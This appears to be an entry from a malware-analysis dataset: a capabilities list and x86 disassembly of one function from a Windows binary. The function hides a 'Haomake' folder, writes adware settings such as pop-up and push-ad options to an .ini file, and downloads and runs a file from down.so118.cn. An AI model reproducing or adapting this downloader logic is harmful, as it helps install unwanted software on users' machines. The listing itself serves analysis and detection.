Function at 0x401060
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Read .ini file
Set file attributes

Disassembly:
sub esp, 0x450
push ebx
push ebp
push esi
push edi
push 0
push str.C:Program_FilesHaomake
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 2
push str.C:Program_FilesHaomake
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4070ec
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax]
mov ebp, dword [eax + 4]
mov dword [esp + 0x28], ecx
mov ecx, dword [eax + 0x10]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x24], edx
mov edx, dword [eax + 0x14]
mov ecx, 8
mov esi, str.C:Program_FilesHaomakeUser.ini
lea edi, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x10]
push 0xa
push eax
push ebx
mov dword [esp + 0x2c], edx
movsw word es:[edi], word [esi]
call fcn.00405bbc
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0xc
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x10]
push ecx
push edx
push 0x4070c4
push str.user
call esi
lea eax, [esp + 0x10]
push 0xa
push eax
push ebp
call fcn.00405bbc
add esp, 0xc
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x10]
push ecx
push edx
push str.DefaultURL
push str.user
call esi
lea eax, [esp + 0x10]
push 0xa
mov ecx, dword [esp + 0x2c]
push eax
push ecx
call fcn.00405bbc
add esp, 0xc
lea edx, [esp + 0x2c]
lea eax, [esp + 0x10]
push edx
push eax
push str.GameAd
push str.user
call esi
lea ecx, [esp + 0x10]
push 0xa
mov edx, dword [esp + 0x28]
push ecx
push edx
call fcn.00405bbc
add esp, 0xc
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
push ecx
push str.IePOP
push str.user
call esi
lea edx, [esp + 0x10]
push 0xa
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.00405bbc
add esp, 0xc
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x10]
push ecx
push edx
push str.PushAd
push str.user
call esi
lea eax, [esp + 0x10]
push 0xa
mov ecx, dword [esp + 0x24]
push eax
push ecx
call fcn.00405bbc
add esp, 0xc
lea edx, [esp + 0x2c]
lea eax, [esp + 0x10]
push edx
push eax
push str.DeskIcon
push str.user
call esi
push ebx
lea ecx, [esp + 0x25c]
push str.http:__down.so118.cn:8900_9003_main.php_id_d
push ecx
call fcn.004012b0
add esp, 0xc
lea edx, [esp + 0x50]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x50]
lea ecx, [esp + 0x50]
push eax
push 0
push str.DFEAC
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea edx, [esp + 0x50]
lea eax, [esp + 0x258]
push edx
push eax
call fcn.00401000
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0x50]
lea edx, [esp + 0x35c]
push ecx
push 0x104
push edx
push 0
push str.UpdateURL
push str.Main
call esi
lea eax, [esp + 0x50]
lea ecx, [esp + 0x154]
push eax
push 0x104
push ecx
push 0
push str.Path
push str.Main
call esi
lea edx, [esp + 0x154]
lea eax, [esp + 0x35c]
push edx
push eax
call fcn.00401000
add esp, 8
lea ecx, [esp + 0x50]
lea edx, [esp + 0x154]
push 0
push 0
push ecx
push edx
push str.Open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x450
ret 0x10